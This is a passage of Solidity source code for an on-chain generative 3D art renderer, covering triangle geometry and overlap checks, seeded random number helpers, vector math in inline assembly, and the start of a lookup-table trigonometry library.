account for scale) int256 newRadius = (scale * getRadiusLen(refTri)) / 1e3; newRadius = ShackledMath.min(geomSpec.maxTriRad, newRadius); newAngle -= 210; return makeTri(newCentre, newRadius, newAngle); } /** @dev make a new adjacent triangle */ function makeTriAdjacent( bytes32 tokenHash, GeomSpec memory geomSpec, uint256 attemptNum, int256[3][3] memory refTri, int256 sideIdx, int256 scale, int256 depth ) internal view returns (int256[3][3] memory) { /// calculate the center of the new triangle /// add and then divide by 1e3 (the factor by which scale is scaled up) int256 centerDist = (getPerpLen(refTri) * (1e3 + scale)) / 1e3; /// get the new triangle's direction int256 newAngle = sideIdx * 120 + (isTriPointingUp(refTri) ? int256(60) : int256(0)); /// determine the direction of the offset offset /// get a unique random seed each attempt to ensure variation // prettier-ignore int256 offsetDirection = randN( tokenHash, string(abi.encodePacked("lateralOffset", attemptNum, depth)), 0, 1 ) * 2 - 1; /// put if off to one side of the triangle if it's smaller /// scale is on order of 1e3 int256 lateralOffset = (offsetDirection * (1e3 - scale) * getSideLen(refTri)) / 1e3; /// make a gap between the triangles int256 spacing = 6000; /// calculate the true offset int256[3] memory offset = vector3RotateZ( [lateralOffset, centerDist + spacing, 0], newAngle ); int256[3] memory newCentre = ShackledMath.vector3Add( getCenterVec(refTri), offset ); /// return the new triangle (div by 1e3 to account for scale) int256 newRadius = (scale * getRadiusLen(refTri)) / 1e3; newRadius = ShackledMath.min(geomSpec.maxTriRad, newRadius); newAngle -= 30; return makeTri(newCentre, newRadius, newAngle); } /** @dev create a triangle centered at centre, with length from centre to point of radius */ function makeTri( int256[3] memory centre, int256 radius, int256 angle ) internal view returns (int256[3][3] memory tri) { /// create a vector to rotate around 3 times int256[3] memory offset = [radius, 0, 0]; /// make 3 points of the tri for (uint256 i = 0; i < 3; i++) { int256 armAngle = 120 * int256(i); int256[3] memory offsetVec = vector3RotateZ( offset, armAngle + angle ); tri[i] = ShackledMath.vector3Add(centre, offsetVec); } } /** @dev rotate a vector around x */ function vector3RotateX(int256[3] memory v, int256 deg) internal view returns (int256[3] memory) { /// get the cos and sin of the angle (int256 cos, int256 sin) = trigHelper(deg); /// calculate new y and z (scaling down to account for trig scaling) int256 y = ((v[1] * cos) - (v[2] * sin)) / 1e18; int256 z = ((v[1] * sin) + (v[2] * cos)) / 1e18; return [v[0], y, z]; } /** @dev rotate a vector around y */ function vector3RotateY(int256[3] memory v, int256 deg) internal view returns (int256[3] memory) { /// get the cos and sin of the angle (int256 cos, int256 sin) = trigHelper(deg); /// calculate new x and z (scaling down to account for trig scaling) int256 x = ((v[0] * cos) - (v[2] * sin)) / 1e18; int256 z = ((v[0] * sin) + (v[2] * cos)) / 1e18; return [x, v[1], z]; } /** @dev rotate a vector around z */ function vector3RotateZ(int256[3] memory v, int256 deg) internal view returns (int256[3] memory) { /// get the cos and sin of the angle (int256 cos, int256 sin) = trigHelper(deg); /// calculate new x and y (scaling down to account for trig scaling) int256 x = ((v[0] * cos) - (v[1] * sin)) / 1e18; int256 y = ((v[0] * sin) + (v[1] * cos)) / 1e18; return [x, y, v[2]]; } /** @dev calculate sin and cos of an angle */ function trigHelper(int256 deg) internal view returns (int256 cos, int256 sin) { /// deal with negative degrees here, since Trigonometry.sol can't int256 n360 = (ShackledMath.abs(deg) / 360) + 1; deg = (deg + (360 * n360)) % 360; uint256 rads = uint256((deg * PI) / 180); /// calculate radians (in 1e18 space) cos = Trigonometry.cos(rads); sin = Trigonometry.sin(rads); } /** @dev Get the 3d vector at the center of a triangle */ function getCenterVec(int256[3][3] memory tri) internal view returns (int256[3] memory) { return ShackledMath.vector3DivScalar( ShackledMath.vector3Add( ShackledMath.vector3Add(tri[0], tri[1]), tri[2] ), 3 ); } /** @dev Get the length from the center of a triangle to point*/ function getRadiusLen(int256[3][3] memory tri) internal view returns (int256) { return ShackledMath.vector3Len( ShackledMath.vector3Sub(getCenterVec(tri), tri[0]) ); } /** @dev Get the length from any point on triangle to other point (equilateral)*/ function getSideLen(int256[3][3] memory tri) internal view returns (int256) { // len * 0.886 return (getRadiusLen(tri) * 8660) / 10000; } /** @dev Get the shortes length from center of triangle to side */ function getPerpLen(int256[3][3] memory tri) internal view returns (int256) { return getRadiusLen(tri) / 2; } /** @dev Determine if a triangle is pointing up*/ function isTriPointingUp(int256[3][3] memory tri) internal view returns (bool) { int256 centerY = getCenterVec(tri)[1]; /// count how many verts are above this y value int256 nAbove = 0; for (uint256 i = 0; i < 3; i++) { if (tri[i][1] > centerY) { nAbove++; } } return nAbove == 1; } /** @dev check if two triangles are close */ function areTrisClose(int256[3][3] memory tri1, int256[3][3] memory tri2) internal view returns (bool) { int256 lenBetweenCenters = ShackledMath.vector3Len( ShackledMath.vector3Sub(getCenterVec(tri1), getCenterVec(tri2)) ); return lenBetweenCenters < (getPerpLen(tri1) + getPerpLen(tri2)); } /** @dev check if two triangles have overlapping points*/ function areTrisPointsOverlapping( int256[3][3] memory tri1, int256[3][3] memory tri2 ) internal view returns (bool) { /// check triangle a against b if ( isPointInTri(tri1, tri2[0]) || isPointInTri(tri1, tri2[1]) || isPointInTri(tri1, tri2[2]) ) { return true; } /// check triangle b against a if ( isPointInTri(tri2, tri1[0]) || isPointInTri(tri2, tri1[1]) || isPointInTri(tri2, tri1[2]) ) { return true; } /// otherwise they mustn't be overlapping return false; } /** @dev calculate if a point is in a tri*/ function isPointInTri(int256[3][3] memory tri, int256[3] memory p) internal view returns (bool) { int256[3] memory p1 = tri[0]; int256[3] memory p2 = tri[1]; int256[3] memory p3 = tri[2]; int256 alphaNum = (p2[1] - p3[1]) * (p[0] - p3[0]) + (p3[0] - p2[0]) * (p[1] - p3[1]); int256 alphaDenom = (p2[1] - p3[1]) * (p1[0] - p3[0]) + (p3[0] - p2[0]) * (p1[1] - p3[1]); int256 betaNum = (p3[1] - p1[1]) * (p[0] - p3[0]) + (p1[0] - p3[0]) * (p[1] - p3[1]); int256 betaDenom = (p2[1] - p3[1]) * (p1[0] - p3[0]) + (p3[0] - p2[0]) * (p1[1] - p3[1]); if (alphaDenom == 0 || betaDenom == 0) { return false; } else { int256 alpha = (alphaNum * 1e6) / alphaDenom; int256 beta = (betaNum * 1e6) / betaDenom; int256 gamma = 1e6 - alpha - beta; return alpha > 0 && beta > 0 && gamma > 0; } } /** @dev check all points of the tri to see if it overlaps with any other tris */ function isTriOverlappingWithTris( int256[3][3] memory tri, int256[3][3][] memory tris, uint256 nextTriIdx ) internal view returns (bool) { /// check against all other tris added thus fat for (uint256 i = 0; i < nextTriIdx; i++) { if ( areTrisClose(tri, tris[i]) || areTrisPointsOverlapping(tri, tris[i]) ) { return true; } } return false; } function isPointCloseToLine( int256[3] memory p, int256[3] memory l1, int256[3] memory l2 ) internal view returns (bool) { int256 x0 = p[0]; int256 y0 = p[1]; int256 x1 = l1[0]; int256 y1 = l1[1]; int256 x2 = l2[0]; int256 y2 = l2[1]; int256 distanceNum = ShackledMath.abs( (x2 - x1) * (y1 - y0) - (x1 - x0) * (y2 - y1) ); int256 distanceDenom = ShackledMath.hypot((x2 - x1), (y2 - y1)); int256 distance = distanceNum / distanceDenom; if (distance < 8) { return true; } } /** compare a triangles points against the lines of other tris */ function isTrisPointsCloseToLines( int256[3][3] memory tri, int256[3][3][] memory tris, uint256 nextTriIdx ) internal view returns (bool) { for (uint256 i = 0; i < nextTriIdx; i++) { for (uint256 p = 0; p < 3; p++) { if (isPointCloseToLine(tri[p], tris[i][0], tris[i][1])) { return true; } if (isPointCloseToLine(tri[p], tris[i][1], tris[i][2])) { return true; } if (isPointCloseToLine(tri[p], tris[i][2], tris[i][0])) { return true; } } } } /** @dev check if tri to add meets certain criteria */ function isTriLegal( int256[3][3] memory tri, int256[3][3][] memory tris, uint256 nextTriIdx, int256 minTriRad ) internal view returns (bool) { // check radius first as point checks will fail // if the radius is too small if (getRadiusLen(tri) < minTriRad) { return false; } return (!isTriOverlappingWithTris(tri, tris, nextTriIdx) && !isTrisPointsCloseToLines(tri, tris, nextTriIdx)); } /** @dev helper function to add triangles */ function attemptToAddTri( int256[3][3] memory tri, bytes32 tokenHash, TriVars memory triVars, GeomSpec memory geomSpec ) internal view returns (bool added) { bool isLegal = isTriLegal( tri, triVars.tris, triVars.nextTriIdx, geomSpec.minTriRad ); if (isLegal && triVars.nextTriIdx < geomSpec.maxPrisms) { // add the triangle triVars.tris[triVars.nextTriIdx] = tri; added = true; // add the new zs if (triVars.zBackRef == -1) { /// z back ref is not provided, calculate it triVars.zBacks[triVars.nextTriIdx] = calculateZ( tri, tokenHash, triVars.nextTriIdx, geomSpec, false ); } else { /// use the provided z back (from the ref) triVars.zBacks[triVars.nextTriIdx] = triVars.zBackRef; } if (triVars.zFrontRef == -1) { /// z front ref is not provided, calculate it triVars.zFronts[triVars.nextTriIdx] = calculateZ( tri, tokenHash, triVars.nextTriIdx, geomSpec, true ); } else { /// use the provided z front (from the ref) triVars.zFronts[triVars.nextTriIdx] = triVars.zFrontRef; } // increment the tris counter triVars.nextTriIdx += 1; // if we're using any type of symmetry then attempt to add a symmetric triangle // only do this recursively once if ( (geomSpec.isSymmetricX || geomSpec.isSymmetricY) && (!triVars.recursiveAttempt) ) { int256[3][3] memory symTri = copyTri(tri); if (geomSpec.isSymmetricX) { symTri[0][0] = -symTri[0][0]; symTri[1][0] = -symTri[1][0]; symTri[2][0] = -symTri[2][0]; // symCenter[0] = -symCenter[0]; } if (geomSpec.isSymmetricY) { symTri[0][1] = -symTri[0][1]; symTri[1][1] = -symTri[1][1]; symTri[2][1] = -symTri[2][1]; // symCenter[1] = -symCenter[1]; } if ( (geomSpec.isSymmetricX || geomSpec.isSymmetricY) && !(geomSpec.isSymmetricX && geomSpec.isSymmetricY) ) { symTri = [symTri[2], symTri[1], symTri[0]]; } triVars.recursiveAttempt = true; triVars.zBackRef = triVars.zBacks[triVars.nextTriIdx - 1]; triVars.zFrontRef = triVars.zFronts[triVars.nextTriIdx - 1]; attemptToAddTri(symTri, tokenHash, triVars, geomSpec); } } } /** @dev rotate a triangle by x, y, or z @param axis 0 = x, 1 = y, 2 = z */ function triRotHelp( int256 axis, int256[3][3] memory tri, int256 rot ) internal view returns (int256[3][3] memory) { if (axis == 0) { return [ vector3RotateX(tri[0], rot), vector3RotateX(tri[1], rot), vector3RotateX(tri[2], rot) ]; } else if (axis == 1) { return [ vector3RotateY(tri[0], rot), vector3RotateY(tri[1], rot), vector3RotateY(tri[2], rot) ]; } else if (axis == 2) { return [ vector3RotateZ(tri[0], rot), vector3RotateZ(tri[1], rot), vector3RotateZ(tri[2], rot) ]; } } /** @dev a helper to run rotation functions on back/front triangles */ function triBfHelp( int256 axis, int256[3][3][] memory trisBack, int256[3][3][] memory trisFront, int256 rot ) internal view returns (int256[3][3][] memory, int256[3][3][] memory) { int256[3][3][] memory trisBackNew = new int256[3][3][](trisBack.length); int256[3][3][] memory trisFrontNew = new int256[3][3][]( trisFront.length ); for (uint256 i = 0; i < trisBack.length; i++) { trisBackNew[i] = triRotHelp(axis, trisBack[i], rot); trisFrontNew[i] = triRotHelp(axis, trisFront[i], rot); } return (trisBackNew, trisFrontNew); } /** @dev get the maximum extent of the geometry (vertical or horizontal) */ function getExtents(int256[3][3][] memory tris) internal view returns (int256[3][2] memory) { int256 minX = MAX_INT; int256 maxX = MIN_INT; int256 minY = MAX_INT; int256 maxY = MIN_INT; int256 minZ = MAX_INT; int256 maxZ = MIN_INT; for (uint256 i = 0; i < tris.length; i++) { for (uint256 j = 0; j < tris[i].length; j++) { minX = ShackledMath.min(minX, tris[i][j][0]); maxX = ShackledMath.max(maxX, tris[i][j][0]); minY = ShackledMath.min(minY, tris[i][j][1]); maxY = ShackledMath.max(maxY, tris[i][j][1]); minZ = ShackledMath.min(minZ, tris[i][j][2]); maxZ = ShackledMath.max(maxZ, tris[i][j][2]); } } return [[minX, minY, minZ], [maxX, maxY, maxZ]]; } /** @dev go through each triangle and apply a 'height' */ function calculateZ( int256[3][3] memory tri, bytes32 tokenHash, uint256 nextTriIdx, GeomSpec memory geomSpec, bool front ) internal view returns (int256) { int256 h; string memory seedMod = string(abi.encodePacked("calcZ", nextTriIdx)); if (front) { if (geomSpec.id == 6) { h = 1; } else { if (randN(tokenHash, seedMod, 0, 10) > 9) { if (randN(tokenHash, seedMod, 0, 10) > 3) { h = 10; } else { h = 22; } } else { if (randN(tokenHash, seedMod, 0, 10) > 5) { h = 8; } else { h = 1; } } } } else { if (geomSpec.id == 6) { h = -1; } else { if (geomSpec.id == 5) { h = -randN(tokenHash, seedMod, 2, 20); } else { h = -2; } } } if (geomSpec.id == 5) { h += 10; } return h * geomSpec.depthMultiplier; } /** @dev roll a specId given a list of weightings */ function getSpecId(bytes32 tokenHash, int256[2][7] memory weightings) internal view returns (uint256) { int256 n = GeomUtils.randN( tokenHash, "specId", weightings[0][0], weightings[weightings.length - 1][1] ); for (uint256 i = 0; i < weightings.length; i++) { if (weightings[i][0] <= n && n <= weightings[i][1]) { return i; } } } /** @dev get a random number between two numbers with a uniform probability distribution @param randomSeed a hash that we can use to 'randomly' get a number @param seedModifier some string to make the result unique for this tokenHash @param min the minimum number (inclusive) @param max the maximum number (inclusive) examples: to get binary output (0 or 1), set min as 0 and max as 1 */ function randN( bytes32 randomSeed, string memory seedModifier, int256 min, int256 max ) internal view returns (int256) { /// use max() to ensure modulo != 0 return int256( uint256(keccak256(abi.encodePacked(randomSeed, seedModifier))) % uint256(ShackledMath.max(1, (max + 1 - min))) ) + min; } /** @dev clip an array of tris to a certain length (to trim empty tail slots) */ function clipTrisToLength(int256[3][3][] memory arr, uint256 desiredLen) internal view returns (int256[3][3][] memory) { uint256 n = arr.length - desiredLen; assembly { mstore(arr, sub(mload(arr), n)) } return arr; } /** @dev clip an array of Z values to a certain length (to trim empty tail slots) */ function clipZsToLength(int256[] memory arr, uint256 desiredLen) internal view returns (int256[] memory) { uint256 n = arr.length - desiredLen; assembly { mstore(arr, sub(mload(arr), n)) } return arr; } /** @dev make a copy of a triangle */ function copyTri(int256[3][3] memory tri) internal view returns (int256[3][3] memory) { return [ [tri[0][0], tri[0][1], tri[0][2]], [tri[1][0], tri[1][1], tri[1][2]], [tri[2][0], tri[2][1], tri[2][2]] ]; } /** @dev make a copy of an array of triangles */ function copyTris(int256[3][3][] memory tris) internal view returns (int256[3][3][] memory) { int256[3][3][] memory newTris = new int256[3][3][](tris.length); for (uint256 i = 0; i < tris.length; i++) { newTris[i] = copyTri(tris[i]); } return newTris; } } // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; library ShackledStructs { struct Metadata { string colorScheme; /// name of the color scheme string geomSpec; /// name of the geometry specification uint256 nPrisms; /// number of prisms made string pseudoSymmetry; /// horizontal, vertical, diagonal string wireframe; /// enabled or disabled string inversion; /// enabled or disabled } struct RenderParams { uint256[3][] faces; /// index of verts and colorss used for each face (triangle) int256[3][] verts; /// x, y, z coordinates used in the geometry int256[3][] cols; /// colors of each vert int256[3] objPosition; /// position to place the object int256 objScale; /// scalar for the object int256[3][2] backgroundColor; /// color of the background (gradient) LightingParams lightingParams; /// parameters for the lighting bool perspCamera; /// true = perspective camera, false = orthographic bool backfaceCulling; /// whether to implement backface culling (saves gas!) bool invert; /// whether to invert colors in the final encoding stage bool wireframe; /// whether to only render edges } /// struct for testing lighting struct LightingParams { bool applyLighting; /// true = apply lighting, false = don't apply lighting int256 lightAmbiPower; /// power of the ambient light int256 lightDiffPower; /// power of the diffuse light int256 lightSpecPower; /// power of the specular light uint256 inverseShininess; /// shininess of the material int256[3] lightPos; /// position of the light int256[3] lightColSpec; /// color of the specular light int256[3] lightColDiff; /// color of the diffuse light int256[3] lightColAmbi; /// color of the ambient light } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; library ShackledMath { /** @dev Get the minimum of two numbers */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** @dev Get the maximum of two numbers */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** @dev perform a modulo operation, with support for negative numbers */ function mod(int256 n, int256 m) internal pure returns (int256) { if (n < 0) { return ((n % m) + m) % m; } else { return n % m; } } /** @dev 'randomly' select n numbers between 0 and m (useful for getting a randomly sampled index) */ function randomIdx( bytes32 seedModifier, uint256 n, // number of elements to select uint256 m // max value of elements ) internal pure returns (uint256[] memory) { uint256[] memory result = new uint256[](n); for (uint256 i = 0; i < n; i++) { result[i] = uint256(keccak256(abi.encodePacked(seedModifier, i))) % m; } return result; } /** @dev create a 2d array and fill with a single value */ function get2dArray( uint256 m, uint256 q, int256 value ) internal pure returns (int256[][] memory) { /// Create a matrix of values with dimensions (m, q) int256[][] memory rows = new int256[][](m); for (uint256 i = 0; i < m; i++) { int256[] memory row = new int256[](q); for (uint256 j = 0; j < q; j++) { row[j] = value; } rows[i] = row; } return rows; } /** @dev get the absolute of a number */ function abs(int256 x) internal pure returns (int256) { assembly { if slt(x, 0) { x := sub(0, x) } } return x; } /** @dev get the square root of a number */ function sqrt(int256 y) internal pure returns (int256 z) { assembly { if sgt(y, 3) { z := y let x := add(div(y, 2), 1) for { } slt(x, z) { } { z := x x := div(add(div(y, x), x), 2) } } if and(slt(y, 4), sgt(y, 0)) { z := 1 } } } /** @dev get the hypotenuse of a triangle given the length of 2 sides */ function hypot(int256 x, int256 y) internal pure returns (int256) { int256 sumsq; assembly { let xsq := mul(x, x) let ysq := mul(y, y) sumsq := add(xsq, ysq) } return sqrt(sumsq); } /** @dev addition between two vectors (size 3) */ function vector3Add(int256[3] memory v1, int256[3] memory v2) internal pure returns (int256[3] memory result) { assembly { mstore(result, add(mload(v1), mload(v2))) mstore( add(result, 0x20), add(mload(add(v1, 0x20)), mload(add(v2, 0x20))) ) mstore( add(result, 0x40), add(mload(add(v1, 0x40)), mload(add(v2, 0x40))) ) } } /** @dev subtraction between two vectors (size 3) */ function vector3Sub(int256[3] memory v1, int256[3] memory v2) internal pure returns (int256[3] memory result) { assembly { mstore(result, sub(mload(v1), mload(v2))) mstore( add(result, 0x20), sub(mload(add(v1, 0x20)), mload(add(v2, 0x20))) ) mstore( add(result, 0x40), sub(mload(add(v1, 0x40)), mload(add(v2, 0x40))) ) } } /** @dev multiply a vector (size 3) by a constant */ function vector3MulScalar(int256[3] memory v, int256 a) internal pure returns (int256[3] memory result) { assembly { mstore(result, mul(mload(v), a)) mstore(add(result, 0x20), mul(mload(add(v, 0x20)), a)) mstore(add(result, 0x40), mul(mload(add(v, 0x40)), a)) } } /** @dev divide a vector (size 3) by a constant */ function vector3DivScalar(int256[3] memory v, int256 a) internal pure returns (int256[3] memory result) { assembly { mstore(result, sdiv(mload(v), a)) mstore(add(result, 0x20), sdiv(mload(add(v, 0x20)), a)) mstore(add(result, 0x40), sdiv(mload(add(v, 0x40)), a)) } } /** @dev get the length of a vector (size 3) */ function vector3Len(int256[3] memory v) internal pure returns (int256) { int256 res; assembly { let x := mload(v) let y := mload(add(v, 0x20)) let z := mload(add(v, 0x40)) res := add(add(mul(x, x), mul(y, y)), mul(z, z)) } return sqrt(res); } /** @dev scale and then normalise a vector (size 3) */ function vector3NormX(int256[3] memory v, int256 fidelity) internal pure returns (int256[3] memory result) { int256 l = vector3Len(v); assembly { mstore(result, sdiv(mul(fidelity, mload(add(v, 0x40))), l)) mstore( add(result, 0x20), sdiv(mul(fidelity, mload(add(v, 0x20))), l) ) mstore(add(result, 0x40), sdiv(mul(fidelity, mload(v)), l)) } } /** @dev get the dot-product of two vectors (size 3) */ function vector3Dot(int256[3] memory v1, int256[3] memory v2) internal view returns (int256 result) { assembly { result := add( add( mul(mload(v1), mload(v2)), mul(mload(add(v1, 0x20)), mload(add(v2, 0x20))) ), mul(mload(add(v1, 0x40)), mload(add(v2, 0x40))) ) } } /** @dev get the cross product of two vectors (size 3) */ function crossProduct(int256[3] memory v1, int256[3] memory v2) internal pure returns (int256[3] memory result) { assembly { mstore( result, sub( mul(mload(add(v1, 0x20)), mload(add(v2, 0x40))), mul(mload(add(v1, 0x40)), mload(add(v2, 0x20))) ) ) mstore( add(result, 0x20), sub( mul(mload(add(v1, 0x40)), mload(v2)), mul(mload(v1), mload(add(v2, 0x40))) ) ) mstore( add(result, 0x40), sub( mul(mload(v1), mload(add(v2, 0x20))), mul(mload(add(v1, 0x20)), mload(v2)) ) ) } } /** @dev linearly interpolate between two vectors (size 12) */ function vector12Lerp( int256[12] memory v1, int256[12] memory v2, int256 ir, int256 scaleFactor ) internal view returns (int256[12] memory result) { int256[12] memory vd = vector12Sub(v2, v1); // loop through all 12 items assembly { let ix for { let i := 0 } lt(i, 0xC) { // (i < 12) i := add(i, 1) } { /// get index of the next element ix := mul(i, 0x20) /// store into the result array mstore( add(result, ix), add( // v1[i] + (ir * vd[i]) / 1e3 mload(add(v1, ix)), sdiv(mul(ir, mload(add(vd, ix))), 1000) ) ) } } } /** @dev subtraction between two vectors (size 12) */ function vector12Sub(int256[12] memory v1, int256[12] memory v2) internal view returns (int256[12] memory result) { // loop through all 12 items assembly { let ix for { let i := 0 } lt(i, 0xC) { // (i < 12) i := add(i, 1) } { /// get index of the next element ix := mul(i, 0x20) /// store into the result array mstore( add(result, ix), sub( // v1[ix] - v2[ix] mload(add(v1, ix)), mload(add(v2, ix)) ) ) } } } /** @dev map a number from one range into another */ function mapRangeToRange( int256 num, int256 inMin, int256 inMax, int256 outMin, int256 outMax ) internal pure returns (int256 res) { assembly { res := add( sdiv( mul(sub(outMax, outMin), sub(num, inMin)), sub(inMax, inMin) ), outMin ) } } } // SPDX-License-Identifier: MIT /** * @notice Solidity library offering basic trigonometry functions where inputs and outputs are * integers. Inputs are specified in radians scaled by 1e18, and similarly outputs are scaled by 1e18. * * This implementation is based off the Solidity trigonometry library written by Lefteris Karapetsas * which can be found here: https://github.com/Sikorkaio/sikorka/blob/e75c91925c914beaedf4841c0336a806f2b5f66d/contracts/trigonometry.sol * * Compared to Lefteris' implementation, this version makes the following changes: * - Uses a 32 bits instead of 16 bits for improved accuracy * - Updated for Solidity 0.8.x * - Various gas optimizations * - Change inputs/outputs to standard trig format (scaled by 1e18) instead of requiring the * integer format used by the algorithm * * Lefertis' implementation is based off Dave Dribin's trigint C library * http://www.dribin.org/dave/trigint/ * * Which in turn is based from a now deleted article which can be found in the Wayback Machine: * http://web.archive.org/web/20120301144605/http://www.dattalo.com/technical/software/pic/picsine.html */ pragma solidity ^0.8.0; library Trigonometry { // Table index into the trigonometric table uint256 constant INDEX_WIDTH = 8; // Interpolation between successive entries in the table uint256 constant INTERP_WIDTH = 16; uint256 constant INDEX_OFFSET = 28 - INDEX_WIDTH; uint256 constant INTERP_OFFSET = INDEX_OFFSET - INTERP_WIDTH; uint32 constant ANGLES_IN_CYCLE = 1073741824; uint32 constant QUADRANT_HIGH_MASK = 536870912; uint32 constant QUADRANT_LOW_MASK = 268435456; uint256 constant SINE_TABLE_SIZE = 256; // Pi as an 18 decimal value, which is plenty of accuracy: "For JPL's highest accuracy calculations, which are for // interplanetary navigation, we use 3.141592653589793: https://www.jpl.nasa.gov/edu/news/2016/3/16/how-many-decimals-of-pi-do-we-really-need/ uint256 constant PI = 3141592653589793238; uint256 constant TWO_PI = 2 * PI; uint256 constant PI_OVER_TWO = PI / 2; // The constant sine lookup table was generated by generate_trigonometry.py. We must use a constant // bytes array because constant arrays are not supported in Solidity. Each entry in the lookup // table is 4 bytes. Since we're using 32-bit parameters for the lookup table, we get a table size // of 2^(32/4) + 1 = 257, where the first and last entries are equivalent (hence the table size of // 256 defined above) uint8 constant entry_bytes = 4; // each entry in the lookup table is 4 bytes uint256 constant entry_mask = ((1 << (8 * entry_bytes)) - 1); // mask used to cast bytes32 -> lookup table entry bytes constant sin_table = hex"00_00_00_00_00_c9_0f_88_01_92_1d_20_02_5b_26_d7_03_24_2a_bf_03_ed_26_e6_04_b6_19_5d_05_7f_00_35_06_47_d9_7c_07_10_a3_45_07_d9_5b_9e_08_a2_00_9a_09_6a_90_49_0a_33_08_bc_0a_fb_68_05_0b_c3_ac_35_0c_8b_d3_5e_0d_53_db_92_0e_1b_c2_e4_0e_e3_87_66_0f_ab_27_2b_10_72_a0_48_11_39_f0_cf_12_01_16_d5_12_c8_10_6e_13_8e_db_b1_14_55_76_b1_15_1b_df_85_15_e2_14_44_16_a8_13_05_17_6d_d9_de_18_33_66_e8_18_f8_b8_3c_19_bd_cb_f3_1a_82_a0_25_1b_47_32_ef_1c_0b_82_6a_1c_cf_8c_b3_1d_93_4f_e5_1e_56_ca_1e_1f_19_f9_7b_1f_dc_dc_1b_20_9f_70_1c_21_61_b3_9f_22_23_a4_c5_22_e5_41_af_23_a6_88_7e_24_67_77_57_25_28_0c_5d_25_e8_45_b6_26_a8_21_85_27_67_9d_f4_28_26_b9_28_28_e5_71_4a_29_a3_c4_85_2a_61_b1_01_2b_1f_34_eb_2b_dc_4e_6f_2c_98_fb_ba_2d_55_3a_fb_2e_11_0a_62_2e_cc_68_1e_2f_87_52_62_30_41_c7_60_30_fb_c5_4d_31_b5_4a_5d_32_6e_54_c7_33_26_e2_c2_33_de_f2_87_34_96_82_4f_35_4d_90_56_36_04_1a_d9_36_ba_20_13_37_6f_9e_46_38_24_93_b0_38_d8_fe_93_39_8c_dd_32_3a_40_2d_d1_3a_f2_ee_b7_3b_a5_1e_29_3c_56_ba_70_3d_07_c1_d5_3d_b8_32_a5_3e_68_0b_2c_3f_17_49_b7_3f_c5_ec_97_40_73_f2_1d_41_21_58_9a_41_ce_1e_64_42_7a_41_d0_43_25_c1_35_43_d0_9a_ec_44_7a_cd_50_45_24_56_bc_45_cd_35_8f_46_75_68_27_47_1c_ec_e6_47_c3_c2_2e_48_69_e6_64_49_0f_57_ee_49_b4_15_33_4a_58_1c_9d_4a_fb_6c_97_4b_9e_03_8f_4c_3f_df_f3_4c_e1_00_34_4d_81_62_c3_4e_21_06_17_4e_bf_e8_a4_4f_5e_08_e2_4f_fb_65_4c_50_97_fc_5e_51_33_cc_94_51_ce_d4_6e_52_69_12_6e_53_02_85_17_53_9b_2a_ef_54_33_02_7d_54_ca_0a_4a_55_60_40_e2_55_f5_a4_d2_56_8a_34_a9_57_1d_ee_f9_57_b0_d2_55_58_42_dd_54_58_d4_0e_8c_59_64_64_97_59_f3_de_12_5a_82_79_99_5b_10_35_ce_5b_9d_11_53_5c_29_0a_cc_5c_b4_20_df_5d_3e_52_36_5d_c7_9d_7b_5e_50_01_5d_5e_d7_7c_89_5f_5e_0d_b2_5f_e3_b3_8d_60_68_6c_ce_60_ec_38_2f_61_6f_14_6b_61_f1_00_3e_62_71_fa_68_62_f2_01_ac_63_71_14_cc_63_ef_32_8f_64_6c_59_bf_64_e8_89_25_65_63_bf_91_65_dd_fb_d2_66_57_3c_bb_66_cf_81_1f_67_46_c7_d7_67_bd_0f_bc_68_32_57_aa_68_a6_9e_80_69_19_e3_1f_69_8c_24_6b_69_fd_61_4a_6a_6d_98_a3_6a_dc_c9_64_6b_4a_f2_78_6b_b8_12_d0_6c_24_29_5f_6c_8f_35_1b_6c_f9_34_fb_6d_62_27_f9_6d_ca_0d_14_6e_30_e3_49_6e_96_a9_9c_6e_fb_5f_11_6f_5f_02_b1_6f_c1_93_84_70_23_10_99_70_83_78_fe_70_e2_cb_c5_71_41_08_04_71_9e_2c_d1_71_fa_39_48_72_55_2c_84_72_af_05_a6_73_07_c3_cf_73_5f_66_25_73_b5_eb_d0_74_0b_53_fa_74_5f_9d_d0_74_b2_c8_83_75_04_d3_44_75_55_bd_4b_75_a5_85_ce_75_f4_2c_0a_76_41_af_3c_76_8e_0e_a5_76_d9_49_88_77_23_5f_2c_77_6c_4e_da_77_b4_17_df_77_fa_b9_88_78_40_33_28_78_84_84_13_78_c7_ab_a1_79_09_a9_2c_79_4a_7c_11_79_8a_23_b0_79_c8_9f_6d_7a_05_ee_ac_7a_42_10_d8_7a_7d_05_5a_7a_b6_cb_a3_7a_ef_63_23_7b_26_cb_4e_7b_5d_03_9d_7b_92_0b_88_7b_c5_e2_8f_7b_f8_88_2f_7c_29_fb_ed_7c_5a_3d_4f_7c_89_4b_dd_7c_b7_27_23_7c_e3_ce_b1_7d_0f_42_17_7d_39_80_eb_7d_62_8a_c5_7d_8a_5f_3f_7d_b0_fd_f7_7d_d6_66_8e_7d_fa_98_a7_7e_1d_93_e9_7e_3f_57_fe_7e_5f_e4_92_7e_7f_39_56_7e_9d_55_fb_7e_ba_3a_38_7e_d5_e5_c5_7e_f0_58_5f_7f_09_91_c3_7f_21_91_b3_7f_38_57_f5_7f_4d_e4_50_7f_62_36_8e_7f_75_4e_7f_7f_87_2b_f2_7f_97_ce_bc_7f_a7_36_b3_7f_b5_63_b2_7f_c2_55_95_7f_ce_0c_3d_7f_d8_87_8d_7f_e1_c7_6a_7f_e9_cb_bf_7f_f0_94_77_7f_f6_21_81_7f_fa_72_d0_7f_fd_88_59_7f_ff_62_15_7f_ff_ff_ff"; /** * @notice Return the sine of a value, specified in radians scaled by 1e18 * @dev This algorithm for converting sine only uses integer values, and it works by dividing the * circle into 30 bit angles, i.e. there are 1,073,741,824 (2^30) angle units, instead of the * standard 360 degrees (2pi radians). From there, we get an output in range -2,147,483,647 to * 2,147,483,647, (which is the max value of an int32) which is then converted back to the standard * range of -1 to 1, again scaled by 1e18 * @param _angle Angle to convert * @return Result scaled by 1e18 */ function sin(uint256 _angle) internal pure returns (int256) { unchecked { // Convert angle from from arbitrary radian value (range of 0 to 2pi) to the algorithm's range // of 0 to 1,073,741,824 _angle = (ANGLES_IN_CYCLE * (_angle % TWO_PI)) / TWO_PI; // Apply a mask on an integer to extract a certain number of bits, where angle is the integer // whose bits we want to get, the width is the width of the bits (in bits) we want to extract, // and the offset is the offset of the 